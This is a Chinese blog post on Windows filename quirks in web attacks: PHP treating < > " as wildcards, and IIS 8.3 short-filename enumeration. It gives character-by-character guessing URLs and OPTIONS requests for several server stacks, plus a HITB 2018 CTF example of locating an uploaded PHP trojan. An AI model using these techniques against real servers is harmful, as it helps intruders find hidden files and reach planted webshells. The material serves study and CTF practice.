window的特性

spleated發表於2018-05-08

參考文獻:https://xz.aliyun.com/t/2318
https://www.jianshu.com/p/96cf08d569bc
WinAPI與萬用字元
在Windows環境下使用PHP時,PHP中的部分函式會呼叫2個底層Windows API函式FindFirstFileExW()FindFirstFile()

這兩個函式對< > "三個字元做了特別的對待和處理:

大於號 > 等價於 萬用字元 ? 0次或1次

小於號 < 等價於 萬用字元 * 0次或多次

雙引號 " 等價於 萬用字元 . 匹配除換行符(
, 
)之外的任意單個字元

也就是說,在Windows下的PHP的某些函式中,我們可以使用< > "來匹配一些檔名/目錄名,將檔名不可知部分之後的字元用”<“,”>”代替,只用一個”<“或”>”只能代表一個字元,若檔名很長需要用”<<“才行。

這裡的部分函式包括但不限於:

include()                       包含檔案
include_once()                  包含檔案
require()                       包含檔案
require_once()                  包含檔案
fopen()                         開啟檔案
copy()                          複製檔案
file_get_contents()             讀取檔案
readfile()                      讀取檔案
file_put_contents()             寫入檔案
mkdir()                         建立檔案
opendir()                       資料夾操作
readdir()                       資料夾操作
move_uploaded_file()            移動檔案
getimagesize()                  獲取影像尺寸,型別等資訊
...... 

IIS短檔名
遠古時代的DOS下存在這樣的檔案命名規則:
主檔名不能超過8個字元,副檔名不能超過3個字元(也被叫為8.3格式。)
Windows為了相容MS-DOS,為檔名超過8位,副檔名超過3位的檔案都會對應地建立一個8.3格式的檔名,也稱為短檔名。在cmd下使用命令 dir /x可以檢視檔案對應的短檔名
短檔名有如下2個特徵:

  • 檔名只顯示前6個字元,後續字元用~1代替。當存在多個檔名類似的檔案時(檔名前6位相同,且字尾名前3位相同),數字1會進行遞增。
  • 字尾只顯示前3個字元。

Windows + IIS 6 + .net 檔案/目錄猜測
適用條件與侷限:

  • 被猜測檔案的檔名長度需超過8位,或字尾名超過3位。
  • 環境為Windows + IIS + .net
  • 只能猜測出檔名的前6位,字尾名的前3位。

IIS短檔名漏洞

當我們訪問某個存在的短檔名時,會返回404。而當我們訪問某個不存在的短檔名時,會返回400,依據返回結果的不同,就可以進行逐位猜測了。

比如要猜測出如下檔案abc7758521woaini.aspx

  • 猜測檔名/目錄名
    進行如下猜解,不斷向下猜解完所有的6個字元,
http://xxx.xx.xx.xxx/a*~1****/xxx.aspx   返回404  猜測正確
http://xxx.xx.xx.xxx/aa*~1****/xxx.aspx  Bad Request 猜測錯誤
http://xxx.xx.xx.xxx/ab*~1****/xxx.aspx  返回404
http://xxx.xx.xx.xxx/abc*~1****/xxx.aspx 返回404
......
http://xxx.xx.xx.xxx/abc774*~1****/xxx.aspx  Bad Request
http://xxx.xx.xx.xxx/abc775*~1****/xxx.aspx  返回404

到了這一步,我們要來判斷這是一個目錄還是一個檔案。
若如下請求返回404,則代表它是一個目錄,否則就是一個檔案
http://xxx.xx.xx.xxx/abc775*~1/xxx.aspx

  • 猜測檔案字尾
    接下來開始猜解檔案字尾,不斷向下猜解完所有的3個字元
http://xxx.xx.xx.xxx/abc775*~1*a**/xxx.aspx
http://xxx.xx.xx.xxx/abc775*~1*as*/xxx.aspx
http://xxx.xx.xx.xxx/abc775*~1*asp/xxx.aspx

返回無法找到該頁面,則猜測成功

Windows + IIS 7.x + .net 檔案/目錄猜測
不同版本的IIS返回結果如下:

IIS 6                          /valid*~1*/.aspx           HTTP 404 -File not found
IIS 6                          /Invalid*~1*/.aspx         HTTP 400 -Bad Request
IIS 5.x                        /valid*~1*                 HTTP 404 -File not found
IIS 5.x                        /Invalid*~1*               HTTP 400 -Bad Request
IIS 7.x.Net.2                                             Page contains:
No Error Handling              /valid*~1*/               "Error code 0x 00000000 "
IIS 7.x.Net.2                                             Page contains:
No Error Handling              /Invalid*~1*/             "Error code 0x 80070002 "

給出了IIS 7.x開啟了詳細錯誤之後,不同頁面的變化情況,然而預設情況下都是顯示一個自定義的404頁面,並不會給出詳細錯誤。

猜測出根目錄下的一個目錄名:abcdefg1234567aaabbb
在預設情況下,無論該檔案/目錄是否存在,都會返回一個404,返回結果沒有差異的話,就無法猜測。

http://xxx.xx.xx.xxx/a*~1****/xxx.aspx  
http://xxx.xx.xx.xxx/b*~1****/xxx.aspx

使用OPTIONS方式請求,可以得到不一樣的返回結果:

>>>a= requests.options("http://xxx.xx.xx.xxx/abcdee*~1.*/.aspx")
>>>a
>>>a= requests.options("http://xxx.xx.xx.xxx/abcdef*~1.*/.aspx")
>>>a

存在時會返回404,不存在時會返回200,根據返回結果的差異,就可以探測出目錄名的短檔名。

當主動開啟了詳細錯誤之後,使用GET請求也可以得到有差異的結果了。

若存在 http://xxx.xx.xx.xxx/a*~1****/xxx.aspx          錯誤程式碼為 0x00000000
若不存在http://xxx.xx.xx.xxx/b*~1****/xxx.aspx       錯誤程式碼為 0x80070002

Windows + Apache + PHP 檔案/目錄猜測

在該環境下,無法像在IIS下直接用URL訪問的方式去逐位猜測短檔名了,但有兩個殺傷力更大的特性:

  • 當Web程式中存在某些函式時(前置知識中提到的),我們藉助它們來逐位猜測出完整目錄名,檔名,並且沒有長度大小的限制。

  • 雖然無法直接用URL訪問的方式去逐位猜測出短檔名,但是可以用URL訪問的方式直接訪問/下載 已知短檔名的目錄/檔案

  • 特性1

這裡以HITB 2018的一道CTF題目為例,示例程式碼如下:

<?php 

$filename = $_GET[`filename`];

$file = "./abcdefg1234567aaabb/" . $filename;

var_dump(getimagesize($file));

?>

網站存在上傳功能,我們將一個php木馬上傳到了某目錄下(abcdefg1234567aaabb),但是不知道其目錄名。
但是,我們可以向1.php的filename引數傳入該目錄下的一個圖片名,程式會返回該圖片的尺寸資訊。
執行如下訪問

http://xxx.xx.xx.xxx/1.php?filename=../a</01.png                 返回正常
http://xxx.xx.xx.xxx/1.php?filename=../aa</01.png                 返回錯誤
http://xxx.xx.xx.xxx/1.php?filename=../ab</01.png                  返回正常
......
http://xxx.xx.xx.xxx/1.php?filename=../abcdefg</01.png             返回正常
......
http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234</01.png         返回正常
......
http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb</01.png  返回正常

接下來的26 + 10 次嘗試中,均返回錯誤,證明我們已經將目錄名猜解完畢,得到目錄名:

abcdefg1234567aaabb

假設我們連php木馬名也不知道呢?猜解檔名也是同一個道理

http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb/w<.php

http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb/wo<.php

http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb/woa<.php

http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb/woai<.php

......

http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb/woainihhhh<.php

接下來的26 + 10 次嘗試中,均返回錯誤,證明我們已經將檔名猜解完畢,得到檔名。將目錄名和檔名拼接:

http://xxx.xx.xx.xxx/abcdefg1234567aaabb/woainihhhh.php
  • 特性2
    事實上,在上一步中,並不需要猜測出完整檔名,目錄名,用短檔名就可以直接訪問,下載了。
http://xxx.xx.xx.xxx/abcdef~1/woaini~1.php

想要下載如下檔案

http://xxx.xx.xx.xxx/uploads/abcdefgasd1241asd123sgadg123sdgasd123dzg.zip

同樣可以使用短檔名去下載

http://xxx.xx.xx.xxx/uploads/abcdef~1.zip

這種方法在IIS下無法使用,IIS不接受直接用短檔名訪問的請求方式。

Windows + IIS + PHP 檔案/目錄猜測
在該環境下,可以用到很多前面提到的特性。

  • 可以使用URL訪問的方式,來逐位猜測出目錄/檔案的短檔名
  • 當Web程式中存在某些函式時(前置知識中提到的),我們藉助它們來逐位猜測出完整目錄名,檔名,並且沒有長度大小的限制。
  • 可以使用URL訪問的方式,用萬用字元直接訪問檔案(但不能訪問目錄)

特性1
使用前面提到過的OPTIONS請求方式來逐位猜測目錄的短檔名

>>>"a= requests.options("http://xxx.xx.xx.xxx/abcde~1/")
>>>a
>>>"a= requests.options("http://xxx.xx.xx.xxx/abcdf~1/")
>>>a

存在時返回404,不存在時返回200

特性2
這是PHP的特性,與Web伺服器種類無關。
首先逐位猜測出目錄名

http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabbb/<.php
http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabbb/woainihhhh.php
http://xxx.xx.xx.xxx/abcdefg1234567aaabbb/woainihhhh.php//得到完整檔案路徑

特性3
事實上猜測出目錄名就足夠了,檔名可以直接使用萬用字元去訪問:
http://192.168.219.241/abcdefg1234567aaabbb/w<.php

Windows + Nginx + PHP 檔案/目錄猜測
在該環境下,依然可用使用提到的多個特性

  • 可以直接用短檔名,訪問目錄和檔案
  • 可以直接用萬用字元訪問檔案,但是不能訪問目錄
  • PHP某些函式的特性

特性1

http://xxx.xx.xx.xxx/abcdefgwoaini123/xxxaaabbbccc.php

等價於

http://xxx.xx.xx.xxx/abcdef~1/xxxaaa~1.php

特性2

http://xxx.xx.xx.xxx/abcdefgwoaini123/xxxaaabbbccc.php

等價於

http://xxx.xx.xx.xxx/abcdef~1/x<.php

特性3
逐位猜測目錄名:

http://xxx.xx.xx.xxx/1.php?filename=../abcdefgwoaini123</1.php

Read error代表存在
逐位猜測檔名

http://xxx.xx.xx.xxx/1.php?filename=../abcdefgwoaini123/xxxaaabbbccc<.php

進而拼接處完整檔案路徑:

http://xxx.xx.xx.xxx/abcdefgwoaini123/xxxaaabbbccc.php


相關文章